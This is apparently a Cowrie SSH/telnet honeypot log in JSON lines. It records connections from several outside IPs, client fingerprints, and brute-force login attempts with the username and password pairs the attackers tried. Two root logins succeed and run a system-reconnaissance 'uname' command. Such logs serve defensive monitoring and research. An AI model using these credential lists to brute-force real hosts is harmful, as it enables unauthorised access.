{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:03.401098Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pizda","message":"login attempt [user/pizda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:03.897572Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pitures","message":"login attempt [user/pitures] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:05.005656Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"piper1","message":"login attempt [user/piper1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:06.114602Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"perkele","message":"login attempt [user/perkele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:07.223762Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pennstat","message":"login attempt [user/pennstat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:08.335226Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:09.444323Z","src_ip":"2.57.121.25","session":"39dbd4796451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf8a580eb50","protocol":"ssh","message":"New connection: 80.94.92.186:45186 (10.17.0.5:22) [session: ddf8a580eb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:29.076794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:29.170865Z","src_ip":"80.94.92.186","session":"ddf8a580eb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:29.310429Z","src_ip":"80.94.92.186","session":"ddf8a580eb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:30.000256Z","src_ip":"80.94.92.186","session":"ddf8a580eb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:31.393496Z","src_ip":"80.94.92.186","session":"ddf8a580eb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":54492,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c54398affc","protocol":"ssh","message":"New connection: 92.118.39.95:54492 (10.17.0.5:22) [session: 24c54398affc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:37.746920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:37.751837Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:37.861557Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jitoproxy","message":"login attempt [root/jitoproxy] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:38.188555Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:38.434544Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:38.437781Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:38.557285Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:38.562387Z","src_ip":"92.118.39.95","session":"24c54398affc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":53824,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e8cde75abea","protocol":"telnet","message":"New connection: 66.132.172.218:53824 (10.17.0.5:23) [session: 1e8cde75abea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:44.091698Z"}
{"eventid":"cowrie.session.closed","duration":3.390716791152954,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:47.482279Z","src_ip":"66.132.172.218","session":"1e8cde75abea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.218","src_port":31604,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c35d5d5c11","protocol":"telnet","message":"New connection: 66.132.172.218:31604 (10.17.0.5:23) [session: a6c35d5d5c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:38:52.659386Z"}
{"eventid":"cowrie.session.closed","duration":11.422419786453247,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:39:04.081729Z","src_ip":"66.132.172.218","session":"a6c35d5d5c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54370,"dst_ip":"159.203.135.109","dst_port":22,"session":"07e4ca34894f","protocol":"ssh","message":"New connection: 193.32.162.151:54370 (159.203.135.109:22) [session: 07e4ca34894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:12.868347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:12.873307Z","src_ip":"193.32.162.151","session":"07e4ca34894f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:12.984298Z","src_ip":"193.32.162.151","session":"07e4ca34894f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345","message":"login attempt [nexus/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:13.305089Z","src_ip":"193.32.162.151","session":"07e4ca34894f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:14.414663Z","src_ip":"193.32.162.151","session":"07e4ca34894f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":39004,"dst_ip":"10.17.0.5","dst_port":22,"session":"07860ae6b001","protocol":"ssh","message":"New connection: 92.118.39.95:39004 (10.17.0.5:22) [session: 07860ae6b001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:54.599114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:54.603562Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:54.708932Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jito","message":"login attempt [root/jito] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:55.018652Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:55.272800Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:55.276452Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:55.379973Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:40:55.384720Z","src_ip":"92.118.39.95","session":"07860ae6b001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47856,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac58f3b5b0e8","protocol":"ssh","message":"New connection: 80.94.92.186:47856 (10.17.0.5:22) [session: ac58f3b5b0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:41:27.463048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:41:27.694812Z","src_ip":"80.94.92.186","session":"ac58f3b5b0e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:41:27.699739Z","src_ip":"80.94.92.186","session":"ac58f3b5b0e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:41:29.073084Z","src_ip":"80.94.92.186","session":"ac58f3b5b0e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:41:30.328566Z","src_ip":"80.94.92.186","session":"ac58f3b5b0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42016,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bd6e96e20fb","protocol":"ssh","message":"New connection: 193.32.162.151:42016 (159.203.135.109:22) [session: 7bd6e96e20fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:42:26.628229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:42:26.660823Z","src_ip":"193.32.162.151","session":"7bd6e96e20fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:42:26.818678Z","src_ip":"193.32.162.151","session":"7bd6e96e20fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123456","message":"login attempt [nexus/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:42:27.411022Z","src_ip":"193.32.162.151","session":"7bd6e96e20fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:42:28.517297Z","src_ip":"193.32.162.151","session":"7bd6e96e20fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":50654,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57d9968aa63","protocol":"ssh","message":"New connection: 92.118.39.95:50654 (10.17.0.5:22) [session: f57d9968aa63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.049843Z"}
